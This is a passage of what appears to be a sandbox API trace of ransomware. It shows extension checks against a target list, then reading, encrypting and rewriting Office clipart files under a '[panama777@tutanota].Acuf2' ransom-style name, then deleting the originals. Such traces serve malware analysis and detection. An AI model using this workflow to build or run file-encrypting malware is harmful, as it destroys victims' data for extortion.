	[0255.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.274] lstrlenW (lpString=".docx") returned 5
	[0255.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.274] lstrlenW (lpString=".pdf") returned 4
	[0255.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.274] lstrlenW (lpString=".xls") returned 4
	[0255.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.274] lstrlenW (lpString=".xlsx") returned 5
	[0255.274] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.274] lstrlenW (lpString=".ppt") returned 4
	[0255.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63
	[0255.274] lstrlenW (lpString=".zip") returned 4
	[0255.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.274] lstrlenW (lpString=".rar") returned 4
	[0255.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.274] lstrlenW (lpString=".bz2") returned 4
	[0255.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.274] lstrlenW (lpString=".7z") returned 3
	[0255.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63
	[0255.274] lstrlenW (lpString=".dbf") returned 4
	[0255.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63
	[0255.274] lstrlenW (lpString=".1cd") returned 4
	[0255.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63
	[0255.274] lstrlenW (lpString=".jpg") returned 4
	[0255.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63
	[0255.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63
	[0255.275] lstrlenW (lpString=".doc") returned 4
	[0255.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.275] lstrlenW (lpString=".docx") returned 5
	[0255.275] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.275] lstrlenW (lpString=".pdf") returned 4
	[0255.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.275] lstrlenW (lpString=".xls") returned 4
	[0255.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.275] lstrlenW (lpString=".xlsx") returned 5
	[0255.275] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.275] lstrlenW (lpString=".ppt") returned 4
	[0255.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63
	[0255.275] lstrlenW (lpString=".zip") returned 4
	[0255.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.275] lstrlenW (lpString=".rar") returned 4
	[0255.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.275] lstrlenW (lpString=".bz2") returned 4
	[0255.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.275] lstrlenW (lpString=".7z") returned 3
	[0255.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63
	[0255.275] lstrlenW (lpString=".dbf") returned 4
	[0255.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63
	[0255.275] lstrlenW (lpString=".1cd") returned 4
	[0255.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63
	[0255.275] lstrlenW (lpString=".jpg") returned 4
	[0255.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.276] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.276] lstrlenW (lpString="AN04267_.WMF") returned 12
	[0255.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0255.276] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=7804) returned 1
	[0255.276] CloseHandle (hObject=0x35c) returned 1
	[0255.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20
	[0255.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0255.277] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.277] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.289] GetLastError () returned 0x0
	[0255.289] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1e7c, lpOverlapped=0x0) returned 1
	[0255.291] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1e80, lpOverlapped=0x0) returned 1
	[0255.292] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.292] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.292] SetEndOfFile (hFile=0x334) returned 1
	[0255.292] CloseHandle (hObject=0x334) returned 1
	[0255.292] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.292] SetEndOfFile (hFile=0x35c) returned 1
	[0255.294] CloseHandle (hObject=0x35c) returned 1
	[0255.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 1
	[0255.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63
	[0255.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63
	[0255.302] lstrlenW (lpString=".doc") returned 4
	[0255.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.302] lstrlenW (lpString=".docx") returned 5
	[0255.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.302] lstrlenW (lpString=".pdf") returned 4
	[0255.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.302] lstrlenW (lpString=".xls") returned 4
	[0255.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.302] lstrlenW (lpString=".xlsx") returned 5
	[0255.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.303] lstrlenW (lpString=".ppt") returned 4
	[0255.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63
	[0255.303] lstrlenW (lpString=".zip") returned 4
	[0255.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.303] lstrlenW (lpString=".rar") returned 4
	[0255.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.303] lstrlenW (lpString=".bz2") returned 4
	[0255.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.303] lstrlenW (lpString=".7z") returned 3
	[0255.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63
	[0255.303] lstrlenW (lpString=".dbf") returned 4
	[0255.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63
	[0255.303] lstrlenW (lpString=".1cd") returned 4
	[0255.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63
	[0255.303] lstrlenW (lpString=".jpg") returned 4
	[0255.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63
	[0255.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63
	[0255.303] lstrlenW (lpString=".doc") returned 4
	[0255.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.303] lstrlenW (lpString=".docx") returned 5
	[0255.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.303] lstrlenW (lpString=".pdf") returned 4
	[0255.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.304] lstrlenW (lpString=".xls") returned 4
	[0255.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.304] lstrlenW (lpString=".xlsx") returned 5
	[0255.304] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.304] lstrlenW (lpString=".ppt") returned 4
	[0255.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63
	[0255.304] lstrlenW (lpString=".zip") returned 4
	[0255.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.304] lstrlenW (lpString=".rar") returned 4
	[0255.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.304] lstrlenW (lpString=".bz2") returned 4
	[0255.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.304] lstrlenW (lpString=".7z") returned 3
	[0255.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63
	[0255.304] lstrlenW (lpString=".dbf") returned 4
	[0255.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63
	[0255.304] lstrlenW (lpString=".1cd") returned 4
	[0255.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63
	[0255.304] lstrlenW (lpString=".jpg") returned 4
	[0255.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.304] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.305] lstrlenW (lpString="AN04323_.WMF") returned 12
	[0255.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0255.306] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=2492) returned 1
	[0255.306] CloseHandle (hObject=0x35c) returned 1
	[0255.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20
	[0255.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0255.306] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.306] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.307] GetLastError () returned 0x0
	[0255.307] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x9bc, lpOverlapped=0x0) returned 1
	[0255.308] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x9c0, lpOverlapped=0x0) returned 1
	[0255.309] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.309] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.309] SetEndOfFile (hFile=0x334) returned 1
	[0255.309] CloseHandle (hObject=0x334) returned 1
	[0255.309] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.309] SetEndOfFile (hFile=0x35c) returned 1
	[0255.312] CloseHandle (hObject=0x35c) returned 1
	[0255.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 1
	[0255.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63
	[0255.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63
	[0255.312] lstrlenW (lpString=".doc") returned 4
	[0255.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.313] lstrlenW (lpString=".docx") returned 5
	[0255.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.313] lstrlenW (lpString=".pdf") returned 4
	[0255.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.313] lstrlenW (lpString=".xls") returned 4
	[0255.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.313] lstrlenW (lpString=".xlsx") returned 5
	[0255.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.313] lstrlenW (lpString=".ppt") returned 4
	[0255.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63
	[0255.313] lstrlenW (lpString=".zip") returned 4
	[0255.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.313] lstrlenW (lpString=".rar") returned 4
	[0255.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.313] lstrlenW (lpString=".bz2") returned 4
	[0255.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.313] lstrlenW (lpString=".7z") returned 3
	[0255.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63
	[0255.313] lstrlenW (lpString=".dbf") returned 4
	[0255.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63
	[0255.313] lstrlenW (lpString=".1cd") returned 4
	[0255.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63
	[0255.313] lstrlenW (lpString=".jpg") returned 4
	[0255.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63
	[0255.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63
	[0255.314] lstrlenW (lpString=".doc") returned 4
	[0255.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.314] lstrlenW (lpString=".docx") returned 5
	[0255.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.314] lstrlenW (lpString=".pdf") returned 4
	[0255.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.314] lstrlenW (lpString=".xls") returned 4
	[0255.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.314] lstrlenW (lpString=".xlsx") returned 5
	[0255.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.314] lstrlenW (lpString=".ppt") returned 4
	[0255.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63
	[0255.314] lstrlenW (lpString=".zip") returned 4
	[0255.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.314] lstrlenW (lpString=".rar") returned 4
	[0255.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.314] lstrlenW (lpString=".bz2") returned 4
	[0255.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.314] lstrlenW (lpString=".7z") returned 3
	[0255.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63
	[0255.314] lstrlenW (lpString=".dbf") returned 4
	[0255.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63
	[0255.315] lstrlenW (lpString=".1cd") returned 4
	[0255.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63
	[0255.315] lstrlenW (lpString=".jpg") returned 4
	[0255.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.315] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.315] lstrlenW (lpString="AN04326_.WMF") returned 12
	[0255.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0255.315] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=3348) returned 1
	[0255.315] CloseHandle (hObject=0x35c) returned 1
	[0255.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20
	[0255.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0255.316] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.316] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.316] GetLastError () returned 0x0
	[0255.316] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xd14, lpOverlapped=0x0) returned 1
	[0255.318] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xd20, lpOverlapped=0x0) returned 1
	[0255.319] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.319] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.319] SetEndOfFile (hFile=0x334) returned 1
	[0255.319] CloseHandle (hObject=0x334) returned 1
	[0255.319] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.319] SetEndOfFile (hFile=0x35c) returned 1
	[0255.321] CloseHandle (hObject=0x35c) returned 1
	[0255.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 1
	[0255.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63
	[0255.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63
	[0255.322] lstrlenW (lpString=".doc") returned 4
	[0255.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.322] lstrlenW (lpString=".docx") returned 5
	[0255.322] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.322] lstrlenW (lpString=".pdf") returned 4
